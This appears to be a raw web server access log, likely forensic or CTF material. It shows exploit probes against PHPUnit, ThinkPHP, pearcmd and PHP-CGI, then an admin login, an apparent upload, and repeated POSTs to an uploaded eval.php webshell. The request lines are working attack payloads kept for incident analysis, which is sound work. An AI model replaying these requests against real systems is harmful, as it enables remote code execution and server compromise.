[30/Nov/2024:22:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" -
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 300
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1" -
[30/Nov/2024:22:54:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" -
[30/Nov/2024:22:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /containers/json HTTP/1.1" 300
[30/Nov/2024:23:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:23:30:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/pagebreak/images/pagebreak.gif HTTP/1.1" 54
[30/Nov/2024:23:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:23:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:23:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:00:09:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:00:11:24 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[01/Dec/2024:00:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:00:15:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[01/Dec/2024:00:15:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:00:15:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/link/images/anchor.png HTTP/1.1" 589
[01/Dec/2024:00:26:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:00:26:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:00:34:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:00:36:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[01/Dec/2024:00:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:00:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:01:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:01:45:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock.png HTTP/1.1" 506
[01/Dec/2024:01:50:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[01/Dec/2024:01:53:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:01:54:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[01/Dec/2024:02:02:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[01/Dec/2024:02:02:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[01/Dec/2024:02:02:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[01/Dec/2024:02:02:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[01/Dec/2024:02:02:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[01/Dec/2024:02:02:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[01/Dec/2024:02:02:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[01/Dec/2024:02:02:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[01/Dec/2024:02:02:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[01/Dec/2024:02:02:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[01/Dec/2024:02:02:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[01/Dec/2024:02:02:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 80
[01/Dec/2024:02:02:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[01/Dec/2024:02:02:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[01/Dec/2024:02:02:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[01/Dec/2024:02:02:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[01/Dec/2024:02:02:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[01/Dec/2024:02:02:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[01/Dec/2024:02:02:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[01/Dec/2024:02:02:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[01/Dec/2024:02:02:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[01/Dec/2024:02:02:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[01/Dec/2024:02:02:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[01/Dec/2024:02:02:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[01/Dec/2024:02:02:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[01/Dec/2024:02:02:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:02:02:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[01/Dec/2024:02:03:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[01/Dec/2024:02:03:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/change.css HTTP/1.1" 3489
[01/Dec/2024:02:03:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style.css HTTP/1.1" 29795
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/responsive.css HTTP/1.1" 11762
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/swiper.css HTTP/1.1" 21248
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/animate.css HTTP/1.1" 5026
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/font-awesome.min.css HTTP/1.1" 31028
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[01/Dec/2024:02:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[01/Dec/2024:02:03:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[01/Dec/2024:02:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[01/Dec/2024:02:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[01/Dec/2024:02:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[01/Dec/2024:02:03:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[01/Dec/2024:02:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[01/Dec/2024:02:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/editor.css?t=EAPE HTTP/1.1" 46357
[01/Dec/2024:02:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[01/Dec/2024:02:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/icons.png HTTP/1.1" 20833
[01/Dec/2024:02:03:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/contents.css?t=EAPE HTTP/1.1" 307
[01/Dec/2024:02:03:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:02:03:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:02:03:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[01/Dec/2024:02:03:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:02:03:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[01/Dec/2024:02:03:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[01/Dec/2024:02:03:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[01/Dec/2024:02:03:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[01/Dec/2024:02:03:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8313
[01/Dec/2024:02:03:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php?refer=%2Fwizcare%2Fadmin%2Fnewedit.php%3Fnewid%3D4%26oper%3Dedit HTTP/1.1" 9089
[01/Dec/2024:02:03:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[01/Dec/2024:02:03:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[01/Dec/2024:02:03:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[01/Dec/2024:02:03:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[01/Dec/2024:02:03:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[01/Dec/2024:02:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[01/Dec/2024:02:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[01/Dec/2024:02:03:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[01/Dec/2024:02:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[01/Dec/2024:02:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[01/Dec/2024:02:03:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[01/Dec/2024:02:04:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 598
[01/Dec/2024:02:04:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[01/Dec/2024:02:04:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[01/Dec/2024:02:04:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[01/Dec/2024:02:04:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[01/Dec/2024:02:04:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[01/Dec/2024:02:04:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[01/Dec/2024:02:04:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[01/Dec/2024:02:04:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[01/Dec/2024:02:04:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/eval.php HTTP/1.1" -
[01/Dec/2024:02:04:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" -
[01/Dec/2024:02:04:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:04:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:05:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" -
[01/Dec/2024:02:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 64
[01/Dec/2024:02:05:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1172
[01/Dec/2024:02:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 288
[01/Dec/2024:02:08:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 556
[01/Dec/2024:02:09:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1888
[01/Dec/2024:02:09:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 1888
[01/Dec/2024:02:09:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 496
[01/Dec/2024:02:09:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 628
[01/Dec/2024:02:10:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 280
[01/Dec/2024:02:10:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 696
[01/Dec/2024:02:10:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 272
[01/Dec/2024:02:11:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 556
[01/Dec/2024:02:11:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 252
[01/Dec/2024:02:11:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 788
[01/Dec/2024:02:11:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/eval.php HTTP/1.1" 404
